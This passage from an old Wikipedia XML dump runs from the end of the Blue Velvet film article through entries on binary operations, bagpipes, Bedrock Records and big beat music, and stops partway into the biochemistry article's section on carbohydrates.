*A number of musicians have sampled Dennis Hopper's character Frank Booth in this movie, the [[Mr Bungle]] song &quot;Squeeze Me Macaroni&quot; features the sample, &quot;One thing I can't stand is warm beer, it makes me fucking puke!!!!&quot; dialogue at the end, and [[Anthrax]]'s &quot;I'm The Man '91&quot; has him clearly saying &quot;Fuck that shit!&quot; which Frank Booth says in response to what type of beer Kyle MacLachlan's character says he likes. Pigface's unreleased remix &quot;Sickaspfuck&quot;, found on their 2001 best of album, begins with Frank's shouting of &quot;Let's fuck! I'll fuck anything that moves!&quot; The Louisiana band Acid Bath also samples Frank Booth in the song &quot;Cassie eats Cockroaches&quot;, the final track on &quot;When The Kite String Pops&quot;. The song also samples &quot;A Clockwork Orange&quot;.
*''Blue Velvet'' is quoted a few times in the Kevin Smith movie ''[[Clerks.]]''
*''Blue Velvet'' was referenced in an episode of ''[[Arrested Development]]''. Wayne Jarvis comments on Gob's puppet Franklin, asking (in an imitation of Kyle Maclachlan), &quot;Why do there have to be puppets like Frank?&quot;

==External links==
{{wikiquote}}
* [http://www.allmovie.com/cg/avg.dll?p=avg&amp;sql=1:6299 ''Blue Velvet''] at [[All Movie Guide]]
* {{imdb title|id=0090756|title=Blue Velvet}}


[[Category:1986 films]]
[[Category:Cult films]]
[[Category:Films directed by David Lynch]]
[[Category:Independent films]]
[[Category:Neo-noir]]

[[de:Blue Velvet]]
[[es:Blue Velvet]]
[[fr:Blue Velvet]]
[[nl:Blue Velvet]]
[[pl:Blue Velvet]]
[[ru:Синий бархат (фильм)]]
[[sk:Modrý zamat]]</text>
    </revision>
  </page>
  <page>
    <title>Binary operation</title>
    <id>3948</id>
    <revision>
      <id>41128856</id>
      <timestamp>2006-02-25T05:51:12Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <comment>resort cat</comment>
      <text xml:space="preserve">In [[mathematics]], a '''binary operation''' is a calculation involving two input quantities. Binary operations can be accomplished using either a '''[[binary function]]''' or '''binary [[operator]]'''. Binary operations are sometimes called '''dyadic operations''' in order to avoid confusion with the [[binary numeral system]]. Examples include the familiar [[arithmetic]] operations of [[addition]], [[subtraction]], [[multiplication]] and [[division (mathematics)|division]].

More precisely, a binary operation on a [[set]] ''S'' is a [[binary function]] from ''S'' and ''S'' to ''S'', in other words a function ''f'' from the [[Cartesian product]] ''S'' &amp;times; ''S'' to ''S''.
Sometimes, especially in [[computer science]], the term is used for any [[binary function]]. That ''f'' takes values in the same set ''S'' that provides its arguments is the property of [[closure (mathematics)|closure]].

Binary operations are the keystone of algebraic structures studied in [[abstract algebra]]: they form part of [[group (mathematics)|groups]], [[monoid]]s, [[semigroup]]s, [[ring (algebra)|ring]]s, and more.
Most generally, a ''[[magma (algebra)|magma]]'' is a set together with any binary operation defined on it.

Many binary operations of interest in both algebra and formal logic are [[commutative]] or [[associative]].
Many also have [[identity element]]s and [[inverse element]]s.
Typical examples of binary operations are the [[addition]] (+) and [[multiplication]] (*) of [[number]]s and [[matrix_(mathematics)|matrices]] as well as [[composition of functions]] on a single set.

Examples of operations that are not [[commutative]] are [[subtraction]] (-), [[division (mathematics)|division]] (/), [[exponentiation]](^), and [[super-exponentiation]](@).

Binary operations are often written using [[infix]] notation such as ''a'' * ''b'', ''a'' + ''b'', or ''a'' · ''b'' rather than by functional notation of the form ''f''(''a'',''b'').
Sometimes they are even written just by [[juxtaposition]]: ''ab''.
They can also be expressed using prefix or postfix notations. A prefix notation, [[Polish notation]], dispenses with parentheses; it is probably more often encountered now in its postfix form, [[reverse Polish notation]].

== External binary operations ==
An '''external binary operation''' is a binary function from ''K'' and ''S'' to ''S''.
This differs from a binary operation in the strict sense in that ''K'' need not be ''S''; its elements come from ''outside''.

An example of an external binary operation is [[scalar multiplication]] in [[linear algebra]].
Here ''K'' is a [[field (algebra)|field]] and ''S'' is a [[vector space]] over that field.

An external binary operation may alternatively be viewed as an [[group action|action]]; ''K'' is acting on ''S''.

[[Category:Binary operations| ]]
[[Category:Algebra]]
[[Category:Abstract algebra]]

[[cs:Binární operace]]
[[de:Zweistellige Verknüpfung]]
[[eo:Operacio (matematiko)]]
[[et:Binaarne tehe]]
[[fr:Loi de composition interne]]
[[he:&amp;#1508;&amp;#1506;&amp;#1493;&amp;#1500;&amp;#1492; &amp;#1489;&amp;#1497;&amp;#1504;&amp;#1488;&amp;#1512;&amp;#1497;&amp;#1514;]]
[[nl:Binaire operatie]]
[[ja:&amp;#20108;&amp;#38917;&amp;#28436;&amp;#31639;]]
[[pl:Dzia&amp;#322;anie dwuargumentowe]]
[[ru:&amp;#1041;&amp;#1080;&amp;#1085;&amp;#1072;&amp;#1088;&amp;#1085;&amp;#1072;&amp;#1103; &amp;#1086;&amp;#1087;&amp;#1077;&amp;#1088;&amp;#1072;&amp;#1094;&amp;#1080;&amp;#1103;]]
[[sk:Binárna operácia]]
[[sl:Dvo&amp;#269;lena operacija]]
[[sv:Binär operator]]
[[zh:&amp;#20108;&amp;#20803;&amp;#36816;&amp;#31639;]]</text>
    </revision>
  </page>
  <page>
    <title>Bagpipes</title>
    <id>3950</id>
    <revision>
      <id>42088807</id>
      <timestamp>2006-03-03T19:26:02Z</timestamp>
      <contributor>
        <ip>68.148.60.60</ip>
      </contributor>
      <comment>/* Bagpipes in rock */</comment>
      <text xml:space="preserve">[[Image:Bagpipe performer.jpg|right|thumb|300px|A piper playing the [[Great Highland Bagpipe]].]]
'''Bagpipes''' are a class of [[musical instrument]], [[aerophone]]s using enclosed [[reed (music)|reed]]s.  The term is equally correct in the singular or plural, although pipers most commonly talk of &quot;pipes&quot; and &quot;the bagpipe&quot;.

==Overview==

A bagpipe minimally consists of an air supply, a bag, and a [[chanter]].  Optionally, further chanters and/or [[drone]]s can be added.  

===Air supply===

The most common method of supplying air to the bag is by a blowpipe, into which the player blows.  The blowpipe can be fitted with a non-return valve, or the player can close the tip of the blowpipe with their tongue while they breathe.  

A more recent innovation, dating from the 16th or 17th centuries, is the use of a [[bellows]] to supply air.  This has the advantage that the supplied air has not been heated and moistened by the player's breathing.  Bagpipes using bellows can therefore use more refined and/or delicate reeds and can be played for longer.  

The possibility of using an artificial air supply, such as an air compressor, is one occasionally discussed by pipers but although [http://www.cs.cmu.edu/~music/mcblare/ experiments] have been made in this direction, widespread adoption seems unlikely.

===Bag===

The bag is simply an airtight (or near airtight) reservoir which can hold air while the player breathes.  This means that the player can play independently of the need to take breaths.  It also has the advantage that the player can breathe more naturally, and so can play comfortably for long periods of time.  Materials for the bag vary widely: most common are skins of local animals, for example, goat, sheep, cow, and so on.  In modern times, players have experimented with modern materials such as [[rubber]], [[goretex]], and other airtight fabrics.  

When made of skin, the bag is usually saddle-stitched with an extra strip folded over the seam to prevent air leaking.  Holes are cut in the bag to accomodate the stocks, the connectors which the various pipes are attached to the bag with.  With more modern materials, the seam is usually stitched and then a strip of material glued in place to achieve the same purpose.  These bags are often fitted with rubber collars to insert the stocks in, which can result in a better, tighter fit with less chance of damaging the bag while attaching the stocks.

===Chanter===

The chanter is the melody pipe, played by one or both hands.  There are three main categories of chanter:  a chanter internally can be bored such that the inside walls are parallel for the full length of the chanter, or it can be bored in the shape of a cone.  Additionally, the reed can be a single or a double reed.  A single reeded chanter can only be parallel bored, as conical bored chanters do not work with a single reed.  However, both conical and parallel bored chanters operate with double reeds, and double reeds are by far the more common.

The chanter is usually open ended; thus, there is no way for the player to stop the pipe sounding easily.  This means that most bagpipes share a [[legato]] sound where there are no rests in the music.  Primarily because of this inability to stop playing, embellishments (which vary between types of bagpipe) are used to break up notes and to create the illusion of dynamic effect.  Because of their importance, these embellishments are often highly technical systems specific to each bagpipe which take much study to master.  

A few bagpipes (the [[Northumbrian bagpipe]], the [[Uilleann pipes]]) have closed ends or stop the end on the player's leg, so that when the player covers all the holes (known as closing the chanter) it becomes silent.  This allows for staccato playing on these instruments, although even where the chanter can be silenced, complex embellishment systems often still evolve.

Although the majority of chanters are unkeyed, some make extensive use of keys to extend the range and/or the number of [[accidental (music)|accidentals]] the chanter can play.  It is possible to produce chanters with two bores and two holes for each note.  The double chanters have a full loud sound comparable to the 'wet' sound produced by an accordion.  

An unusual kind of chanter is the regulator of the Uilleann pipes.  This chanter is in addition to the main melody chanter and plays a limited number of notes, operated by keys.  It is fitted in the stock for the drones and is played with the wrist, allowing the player to produce a limited but effective chordal accompaniment.

A final variant of the chanter is the two-piped chanter (confusingly also usually called a double chanter).  Two separate chanters are designed, to be played with different hands.  Effectively, when they are played, one chanter is always providing a drone accompaniment to the other.  

===Drone===

Most bagpipes have at least one drone.  A drone is most commonly a cylindrical tube with a single reed, although drones with double reeds do exist.  The drone is designed in two or more parts, with a sliding joint so that the pitch of the drone can be manipulated.  Some drones have a tuning bead, which effectively alters the length of the drone by opening a hole, allowing the drone to be tuned to two or more distinct pitches.  The tuning bead may also sut off the drone altogether.

==History==
[[Image:Hendrik ter Brugghen - De doedelzakspeler.jpg|thumb|left|The bagpiper, by Hendrik ter Brugghen]]

===Ancient origins===
Although the early history of the bagpipe is still unclear, it seems likely that the instrument was first developed in pre-Christian times. The Roman Emperor [[Nero]] is thought to have been a player, reportedly saying he would do penance, for not winning a poetry contest, by playing in public on the ''tibia utricularis'' (the Latin name for bagpipe). There are [[Ancient Greece|Greek]] depictions of pipers, and the [[Roman Empire|Roman]] legions are thought to have marched to bagpipes. The idea of taking a whole or &quot;case&quot; skinned bag and combining it with a chanter and a blowpipe(inflation device) seems to have originated with various ethnic groups in the Roman Empire. Although the [[Aramaic language|Aramaic]] word sum·pon·yah´ (סומפניה), appearing in Daniel 3:5, 10, and 15, has been translated &quot;dulcimer&quot; (a stringed instrument) and &quot;symphony&quot;, modern Bible translations generally render the expression as &quot;bagpipe.&quot; Koehler and Baumgartner’s Lexicon in Veteris Testamenti Libros gives the meaning &quot;bagpipe&quot; (Leiden 1958, p. 1103).

===Spread and development===

When they were first introduced to the [[British Isles]] is debatable. Findings of statuettes of bagpipers in Roman era archeological digs in England could indicate a diffusion of the bag technology from that vector. Ireland has references going back at least to the Middle Ages. An explosion of popularity seems to have occurred from around the year 1000; the tune used by [[Robert Burns]] for &quot;[[Scots Wha Hae]]&quot;, &quot;Hey Tutti Taiti&quot;, is traditionally said to have been the tune played as [[Robert the Bruce]]'s troops marched to the [[Battle of Bannockburn]] in [[1314]].

Many of the secondary sources from the nineteenth and early twentieth centuries are misleading or verging on fantasy (organist Grattan Flood, and his &quot;The Story of the Bagpipe&quot;, published in 1911, are particularly bad in this respect), but continue to be quoted and referenced to the present day. For example, an oft-repeated claim is that the [[Great Highland Bagpipe]] was banned after the [[Jacobite Rising|'45 Rising]]. This claim is untrue; there is no mention of the bagpipe in the [[Act of Proscription]], and the entire myth seems to stem from the [[1822]] letterpress of Donald MacDonald's ''A Collection of the Ancient Martial Music of Caledonia, called Piobaireachd''.  Although Donald MacDonald produced the music for this volume, his English (as a native [[Gaelic]] speaker) was incapable of rendering the florid prose in the introduction, purported to be his.

===Recent history===
With the growth of the British Empire, often spearheaded by Highland regiments of the British Army, the Great Highland Bagpipe was diffused world-wide.  This surge in popularity, boosted by the huge numbers of pipers trained for the two World Wars in the 20th century, coincided with a decline in the popularity of many traditional forms of bagpipe throughout Europe, which began to be displaced by instruments from the classical tradition and later by gramaphone and radio.  

In the modern era the use of bagpipes has become a common tradition for military funerals and memorials in the [[anglophone]] world, and they are often used at the funerals of high-ranking civilian public officials as well. Weddings, dances and parties are also venues for piping, in fact any social event, that can be given a lift by the addition of this unique instrumental music.

In English-speaking regions, a bagpipe player is known as a &quot;bagpiper&quot; or &quot;piper,&quot; and the [[Family name|surname]] Piper derives from the latter term.  Other European surnames, such as Pfeiffer (German), Gaitero (Spanish), Gajdar (Czech), Dudar (Hungarian), and Tsambounieris (Greek), may also signify that an ancestor was a player of the pipes.

==Modern usage==

===Types of bagpipes===
{{main|Types of bagpipes}}

Bagpipes today are widely spread across Europe and the Middle East, as well as through much of the former [[British Empire]].  The name bagpipe has almost become synonomous with its best-known form, the [[Great Highland Bagpipe]], overshadowing the great number and variety of traditional forms of bagpipe.  Despite the decline of these other types of pipes over the last few centuries, in recent years many of these pipes have seen a resurgence or even revival as traditional musicians have sought them out; for example, the [[Uilleann pipes|Irish piping tradition]], which by the mid 20th century had declined to a handful of master players is today alive, well, and flourishing.  A similar story can be told of [[Northumbrian smallpipe|Northumbrian]], [[Music of Brittany#Bagpipes|Breton]], [[Gaida|Bulgarian]], and other bagpipes. 

Any estimate of the number of pipers playing today can only be a wild guess.  However, in the Great Highland Bagpipe world, there are hundreds of [[pipe band]]s registered with pipe band associations world wide, mostly averaging ten or twelve pipers.  There are many more pipers who do not play with bands.  Estimates for the number of GHB players worldwide usually suggest a figure between ten and fifty thousand players worldwide.  Numbers for other types of bagpipe are much smaller, but many have a substantial worldwide following, and there are many types of bagpipe who have full time makers, teachers, and professional players, supported by a large base of players.

Traditionally, one of the main purposes of the bagpipe in most traditions was to provide music for dancing.  In most countries this has declined with the growth of professional dance bands, recordings, and the decline of traditional dance.  In turn, this has led to many types of pipes developing a performance led tradition, and indeed much modern music based on the dance music tradition played on bagpipes is no longer suitable for use as dance music.

===The future===

Bagpipes today are probably as popular as they have ever been in history; one Scottish maker produces forty sets of pipes per week for sale worldwide, and while this is high, it is indicative of the state of the market.  Pipe band associations report continued growth and the number of commercial recordings of bagpipes continues to grow year on year.

==Bagpipes in non-traditional forms of music==

===Classical works featuring bagpipes===
*''Ur Og and Aji,'' for 4 bagpipes, bass clarinet &amp; tabla by Canadian [[composer]] [[Michael O'Neill]].
*''An Orkney Wedding, With Sunrise'' (1984) by Sir Peter Maxwell Davies
*''Sinfonia Concertante for Six Solo Instruments and Orchestra'' by [[P.D.Q. Bach]] features bagpipes as one of the six instruments.

===Bagpipes in jazz===
* U.S. musician [[Rufus Harley]] (b. 1936) was the first jazz performer to use the Great Highland Bagpipes as his primary instrument.
* The American jazz saxophonist [[Albert Ayler]] (1936–1970) used great highland bagpipe on two albums: ''New Grass'' (1968) and ''Music is the Healing Force of the Universe'' (1969).

===Bagpipes in rock===
*[[The Animals]], a British rock band from [[Newcastle upon Tyne]], featured Great Highland Bagpipes on their 1968 anti-war song &quot;Sky Pilot,&quot; released in the U.K. on ''The Twain Shall Meet'' album, and as a hit single 45rpm disc in the USA.
*Canadian Rock band The [[Mudmen]] has released 3 albums, consiting of 6 guys, and 2 of them, former worlds strongest men, and brothers, play the pipes.
*The hard rock band [[AC/DC]] first gained renown for the marriage of bagpipes and rock and roll with their [[1975]] song &quot;It's a Long Way to the Top (If You Wanna Rock 'n' Roll)&quot;; the bagpipes were held in the video by band member Bon Scott, who in his youth had played bagpipes and drums in the [[Fremantle, Western Australia]] Scots Pipe Band. There were two other pipers recorded for the song.
*Although not as well known, bagpipes were used a year earlier in rock by the [[Sensational Alex Harvey Band]], a Scottish group which featured the instrument in their [[1974]] single &quot;Anthem.&quot;
*UK rock band [[Wizzard]] featured the bagpipes on their 1974 single &quot;Are you ready to rock&quot;.
*[[Paul McCartney]]'s song &quot;[[Mull of Kintyre (song)|Mull of Kintyre]]&quot; (1977) with the band Wings, made strong use of bagpipes for a characteristically Scottish sound.
*[[Van Morrison]] on his album &quot;Beautiful Vision&quot; (1982) Sean Folsom played Irish Uilleann Pipes on the song &quot;Celtic Ray&quot;, the song was later re-recorded with [[The Chieftains]].
*The Scottish-Canadian [[punk rock]] band [[Real McKenzies]] (formed 1992) has featured bagpipes on all their albums, played by various pipers. Their most recent piper, Matt MacNasty, has been playing with the group since their 2003 album ''Oot &amp; Aboot'' and also played on their 2005 album ''10,000 Shots''.
*The [[Germany|German]] band [[Corvus Corax (band)|Corvus Corax]] uses bagpipes extensively, alongside various authentic medieval instruments.
*The [[nu-metal]] band [[Korn|KoЯn]] (formed 1993) often uses bagpipes in their songs (played by [[vocalist]] [[Jonathan Davis]]).
*[[Irish-American]] punk rock stalwarts [[Dropkick Murphys]] (formed 1995) also incorporate bagpipes into their sound.
*[[United States|American]] punk rockers [[Flatfoot 56]] use great highland pipes in many of their songs.
*The [[Germany|German]] [[heavy metal music|heavy metal]] bands [[In Extremo]] uses bagpipes.
*The [[Germany|German]] [[hard rock]]/[[heavy metal music|metal]]/[[folk music|folk]] bands [[Subway to Sally]] and [[Schandmaul]] use bagpipes.
*The [[Germany|German]] [[power metal|power metal]] band [[Blind Guardian]] used bagpipes in the song ''The Piper's Calling'', from the album &quot;[[Somewhere far Beyond|Somewhere far Beyond]]&quot;.
*The [[Germany|German]] [[death metal|death metal]] band [[Suidakra]] used bagpipes on their album ''Command To Charge''.
*[[Ron Wilson]] and His [[Surfaris]], The Drummer famous for [[Wipe Out]] recorded the song [[Louie-Louie]] with Sean Folsom on Scots GHB, also the song &quot;Moonshine&quot; with Sean on the Irish Uilleann Pipes. The album is called &quot;Lost It In The Surf&quot; Bennet House Records (1987).
* Dave Shaw plays pipes on The Men They Couldn't Hang's CD Waiting for Bonaparte.
* [[Peter Gabriel]]'s &quot;Come Talk to Me&quot; features an opening passage played by bagpipes.
* The Irish-Punk Band [[Flogging Molly]] incorporates the Irish Uillean Pipes into some of their music.
* The Scottish-Punk band [[Enter the Haggis]] frequently makes use of the Great Highland Bagpipe.
* Irish-rock band [[Black 47]] incorporates the uilleann pipes with a horn section consisting of alto saxophone and trombone.
* The [[Australian]] [[folk music|folk]]/[[Rock (music)|rock]] band [[Brother (band)|Brother]] often pairs bagpipes with the [[didgeridoo]] in their songs.
* The often surreal band [[Forest for the Trees]] makes liberal use of the bagpipes.
* [[The Darkness]] used bagpipes in the song &quot;Hazel Eyes&quot;.
* The Spanish Folk Metal Band [[Mägo de Oz]] uses bagpipes in many songs.
* [[Ryofu]][http://www.ryofu.co.uk/], a band from northeast England, use the Northumbrian smallpipes to play rock, nu-metal and heavy metal; this has caused some controversy amongst Northumbrian folk musicians [http://news.bbc.co.uk/1/hi/england/tyne/4224934.stm]
* Though not actual bagpipes, the Scottish band [[Big Country]] would often use guitars that, by the use of electronics, were very similar sounding to bagpipes.
* Also, not to be forgotten, Bad Haggis, featuring Eric Riggler, who is considered to be the most recorded bagpiper alive, utilising Highland and Ulian bagpipes.
* Don Scobie, known as the Father of the Pacific Northwest Highland Bagpipe Rock/Rap movement, a founder of The Bag'n'Pipe Hoppers, still hires himself out for lessons, plays regular gigs, and can even be found busking on his off days.
* British folk-rock songwriter and guitarist [[Richard Thompson]] has used Northumbrian smallpipes on two of his albums: 1988's [[Amnesia (album)|Amnesia]], on the track Pharoah, and 1994's [[Mirror Blue]], on the track Beeswing. In both cases the piper is [[Alistair Anderson]]. Thompson's guitar playing is influenced by pipe music, and he has cited Billy Pigg as one of his influences.
* [[The Netherlands|Dutch]] [[black metal|black metalers]] [[Black Nocturnal Darkness]] also incorporated bagpipes, specially in their early years. Also the [[folk metal]] of [[Magnor (band)|Magnor]] (a side project of Black Nocturnal Darkness) makes use of this instrument.

===Bagpipes in other forms of music===
*Originally a hymn, &quot;[[Amazing Grace]]&quot; is often thought of as a bagpipe tune since it is particularly powerful on the pipes and is commonly heard at funerals when the pipes are present.
*The U.S. funk band [[Parliament (band)|Parliament]] used bagpipes on the track &quot;Silent Boatman, from their [[1970]] debut ''Osmium''.
*The late Canadian-born Scottish musician [[Martyn Bennett]] (1971-2005) played Great Highland Bagpipe and Scottish smallpipe in combination with hip-hop and electronic dance music on all of his albums.
*Bagpipes (played by Rufus Harley) are featured on the title track of the 1995 album ''Do You Want More?!!!??!'' by the U.S. hip hop group [[The Roots]].
*[http://www.theshipbuilders.com/catalogue/breakfast_in_balquhidder.php Orchestra Macaroon - Breakfast In Balquhidder] -Scottish [[Latin America|Latin-American]] jazz folk-rock with the apposite &quot;''Warning: This product may contain traces of bagpipes''&quot;.
*Part of [[Orbital (band)|Orbital]]'s single, &quot;Style&quot;, includes a remix with (probably synthesized) bagpipes called &quot;Big Pipe Style&quot;.  The original was played with a [[Stylophone]].
*In the video game [[Dance Dance Revolution EXTREME]], the song '''bag''' is composed of synthesized bagpipe sounds.

== See also ==
*[[Great Highland Bagpipe]]
*[[List of bagpipers]]
*[[Types of bagpipes]]

==External links==
* [http://www.hotpipes.com/main.html The Universe of Bagpipes - 30 different examples of bagpipes from Sean Folsom's collection]
* [http://www.gaitadefoles.net Website about Portuguese bagpipes (&quot;Gaita-de-fole&quot;)], with many articles and information on this and other bagpipes of the world
* [http://www.bagpipelessons.com Information on how to learn the bagpipes.]
* [http://www.bobdunsire.com/bagpipeweb Bagpipe Web Directory - Exhaustive link directory.]
* [http://www.southerncrosspipeband.com The Southern Cross Pipe Band of Montevideo, Uruguay]
* [http://www.prydein.com/pipes/ Bagpipe iconography - Paintings and images of the pipes.]
* [http://www.rspba.org The Royal Scottish Pipe Band Association]
* [http://www.edintattoo.co.uk The Edinburgh Military Tattoo]
* [http://www.geocities.com/blackbeardian/LonePiper/fergusmain.html Uncle Fergus' Bagpipers' Paradise!]
* [http://www.bagpipejourney.com/ Andrew Lenz's Bagpipe Journey - Reference information.]
* [http://www.tritonus.ch/Schweizer%20Sackpfeifen/sackpfeifen.htm Swiss Bagpipe]
* [http://www.78thfrasers.net The 78th Fraser Highlanders Pipe Band (first non-Scottish pipe band to win the World Pipe Band Championships)]
* [http://www.mcnabbs.org/andrew/comments/pipemusic Introduction to Bagpipe Music (Great Highland Bagpipe)]
* [http://www.ppbso.org/ Pipers and Pipe Band Society of Ontario]

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[[Category:Scottish cultural icons]]

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{{Link FA|nl}}
[[nl:Doedelzak]]
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    </revision>
  </page>
  <page>
    <title>Bedrock Records</title>
    <id>3952</id>
    <revision>
      <id>41117501</id>
      <timestamp>2006-02-25T03:59:40Z</timestamp>
      <contributor>
        <ip>66.192.104.10</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Bedrock Records''' is an [[England|English]] [[record label]] for [[trance music|trance]], [[house music|house]] and [[techno music|techno]] started by [[Nick Muir]] and [[John Digweed]].
It is based around a [[nightclub]] in [[London]] also called Bedrock.

==See also==
* [[List of record labels]]
* [[List of electronic music record labels]]

Classic Bedrock releases include &quot;Set in Stone&quot;, &quot;Forbidden Zone&quot;, &quot;Heaven Scent&quot;, and &quot;Beautiful Strange&quot;

==External links==
* [http://www.bedrock.org.uk Official site]
{{record-label-stub}}
[[Category:British record labels]]
[[Category:Electronic music record labels]]</text>
    </revision>
  </page>
  <page>
    <title>Big beat</title>
    <id>3953</id>
    <revision>
      <id>41445534</id>
      <timestamp>2006-02-27T10:29:05Z</timestamp>
      <contributor>
        <username>MilkMiruku</username>
        <id>35699</id>
      </contributor>
      <comment>mention of [[Wall Of Sound (record label)|Wall Of Sound]]</comment>
      <text xml:space="preserve">{{otheruses}}

'''Big beat''' (sometimes '''chemical breaks''') is a term devised in the mid 1990s by the British music press as a way of describing the work of [[The Chemical Brothers]], but was defined by the work of [[Fatboy Slim]]. Big beat tend to feature distorted, compressed [[breakbeat]]s at moderate tempos (usually between 110 to 136 [[beats per minute]]), acidic [[synthesizer]] lines and heavy jazz loops. They are often punctuated with punkish-style vocals and driven by intense, distorted basslines with conventional [[pop music|pop]] and [[techno music|techno]] song structures. Big beat is also characterised by a strong psychedelic influence stemming from the influence of The Beatles, Led Zeppelin's breakbeats, and the [[acid house]] musical movement.

==History==
At a time when electronic dance music tended to have deliberately artificial, robotic and repetitious [[drum beat|drum beats]] mixed with sampled drum loops, the Chemical Brothers took the unusual step of recreating rock-style drum lines with individually-sampled drums, their music consequently combining elements of dance and rock music. The term caught on, and was subsequently applied to a wide variety of acts, notably [[Bentley Rhythm Ace]], [[Lionrock]], Monkey Mafia, [[Death In Vegas]] and [[David Holmes (musician)|David Holmes]]. 

Other 'big beat' acts include [[Overseer]], [[Mr. Oizo]], many artists signed to [[Brighton|Brighton's]] [[Skint Records|Skint]] label and [[London|London's]] [[Wall Of Sound (record label)|Wall Of Sound]] label, and to some extent the later work of [[The Prodigy]]. By the time of the latter's successful 1997 album ''[[The Fat of the Land]]'', the music press were increasingly drawn to using the catch-all term '[[electronica]]' to describe the big beat sound, and the term 'big beat' itself is now rarely used.

==Notable big beat artists==
*[[Bentley Rhythm Ace]]
*[[Boom Boom Satellites]]
*[[The Chemical Brothers]]
*[[The Crystal Method]]
*[[Death in Vegas]]
*[[David Holmes (musician)|David Holmes]]
*[[Fatboy Slim]]
*[[Lionrock]]
*[[Monkey Mafia]]
*[[Mr. Oizo]]
*[[Overseer]]
*[[The Prodigy]]
*[[Propellerheads]]

==See also==
*[[Acid house]]
*[[Breakbeat]]
*[[Electronica]]

==External links==
* [http://www.thedjlist.com/djs/genre/breaksBigBeat The DJ List's Big Beat artists]

{{Breakbeat-footer}}

[[Category:Electronica]]

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  </page>
  <page>
    <title>Biochemistry</title>
    <id>3954</id>
    <revision>
      <id>40718258</id>
      <timestamp>2006-02-22T15:12:48Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.142.199.226|209.142.199.226]] ([[User talk:209.142.199.226|talk]]) to last version by 144.137.40.150</comment>
      <text xml:space="preserve">'''Biochemistry''' is the study of the [[chemistry]] of [[life]], a bridge between [[biology]] and chemistry that studies how complex [[chemical reaction]]s give rise to life. It is a hybrid branch of chemistry which specialises in the chemical processes in living [[organism]]s. This article only discusses terrestrial biochemistry ([[carbon]]- and [[water]]-based), as all the life forms we know are on [[Earth]]. Since life forms alive today are believed to have descended from the same [[common descent|common ancestor]], they naturally have similar biochemistries, even for matters which would appear to be essentially arbitrary, such as the [[genetic code]] or [[chirality (chemistry)|handedness]]  of various biomolecules. It is unknown whether alternate biochemistries are possible or practical. 

Biochemistry is the study of the structure and function of [[cell (biology)|cellular components]], such as [[protein]]s, [[carbohydrate]]s, [[lipid]]s, [[nucleic acid]]s, and other [[biomolecule]]s. [[Chemical biology]] aims to answer many questions arising from biochemistry by using tools developed within [[chemical synthesis|synthetic chemistry]].

Although there is a vast number of different biomolecules, they tend to be composed of the same repeating subunits (called ''[[monomer]]s''), in different orders. Each class of biomolecules has a different set of subunits. Recently, biochemistry has focused more specifically on the chemistry of [[enzyme]]-[[catalysis|catalyzed]] reactions, and on the properties of proteins.

The biochemistry of [[cell metabolism]] and the [[endocrine system]] has been extensively described. Other areas of biochemistry include the [[genetic code]] ([[DNA]], [[RNA]]), [[protein synthesis]], [[cell membrane]] transport, and [[signal transduction]].

== Development of biochemistry ==
Originally, it was generally believed that life was not subject to the laws of science the way nonlife was. It was thought that only living beings could produce the molecules of life (from other, previously existing biomolecules). Then, in [[1828]], [[Friedrich Woehler|Friedrich Wöhler]] published a paper about the synthesis of [[urea]], proving that [[organic chemistry|organic]] compounds can be created artificially. The dawn of biochemistry may have been the discovery of the first enzyme, [[diastase]], in [[1833]] by [[Anselme Payen]]. Although the term “biochemistry” seems to have been first used in 1881, it is generally accepted that the formal coinage biochemistry occurred in [[1903]] by Carl Neuber, a German [[chemist]]. Since then, biochemistry has advanced, especially since the mid-[[20th century]], with the development of new techniques such as [[chromatography]], [[X-ray diffraction]], [[Nuclear magnetic resonance|NMR]], [[radioisotopic labelling]], [[electron microscope|electron microscopy]] and [[molecular dynamics]] simulations. These techniques allowed for the discovery and detailed analysis of many molecules and [[metabolic pathway]]s of the [[cell (biology)|cell]], such as [[glycolysis]] and the [[citric acid cycle|Krebs cycle]] (citric acid cycle). 

Today, the findings of biochemistry are used in many areas, from [[genetics]] to [[molecular biology]] and from [[agriculture]] to [[medicine]]. The first application of biochemistry was probably the making of [[bread]] using [[yeast]], about 5000 years ago.

==Carbohydrates==
{{main|Carbohydrate}}
[[Image:Saccharose.png|thumb|[[Sucrose]]: ordinary table sugar and probably the most familiar carbohydrate.]]
The function of carbohydrates includes energy storage and providing structure. [[Sugar]]s are carbohydrates, although there are carbohydrates that are not sugars. There are more carbohydrates on Earth than any other type of biomolecule. The simplest type of carbohydrate is a [[monosaccharide]], which among other properties contains [[carbon]], [[hydrogen]], and [[oxygen]] in a ratio 1:2:1 (generalized formula C&lt;sub&gt;''n''&lt;/sub&gt;H&lt;sub&gt;2''n''&lt;/sub&gt;O&lt;sub&gt;''n''&lt;/sub&gt;, where ''n'' is at least 3). [[Glucose]], one of the most important carboyhydrates, is an example of a monosaccharide. So is [[fructose]], the sugar that gives [[fruit]]s their sweet taste.

Two monosaccharides can be joined together using [[dehydration synthesis]], in which a hydrogen atom is removed from the end of one molecule and a [[hydroxyl]] group (&amp;mdash;OH) is removed from the other; the remaining residues are then attached at the sites from which the atoms were removed. The H&amp;mdash;OH or H&lt;sub&gt;2&lt;/sub&gt;O is then released as a molecule of [[water]], hence the term ''dehydration''.  The new molecule, consisting of two monosaccharides, is called a ''[[disaccharide]]'' and is conjoined together by a glycosidic or ether bond.  The reverse reaction can also occur, using a molecule of water to split up a disaccharide and break the glycosidic bond; this is termed ''[[hydrolysis]]''. The most well-known disaccharide is [[sucrose]], ordinary sugar (in scientific contexts, called ''table sugar'' or ''cane sugar'' to differentiate it from other sugars). Sucrose consists of a glucose molecule and a fructose molecule joined together. Another important disaccharide is [[lactose]], consisting of a glucose molecule and a [[galactose]] molecule. As most humans age, the production of [[lactase]], the enzyme that hydrolyzes lactose back into glucose and galactose, typically decreases. This results in [[lactase deficiency]], also called ''lactose intolerance''.

When a few (around three to six) monosaccharides are joined together, it is called an ''[[oligosaccharide]]'' (''oligo-'' meaning &quot;few&quot;). These molecules tend to be used as markers and signals, as well as having some other uses.

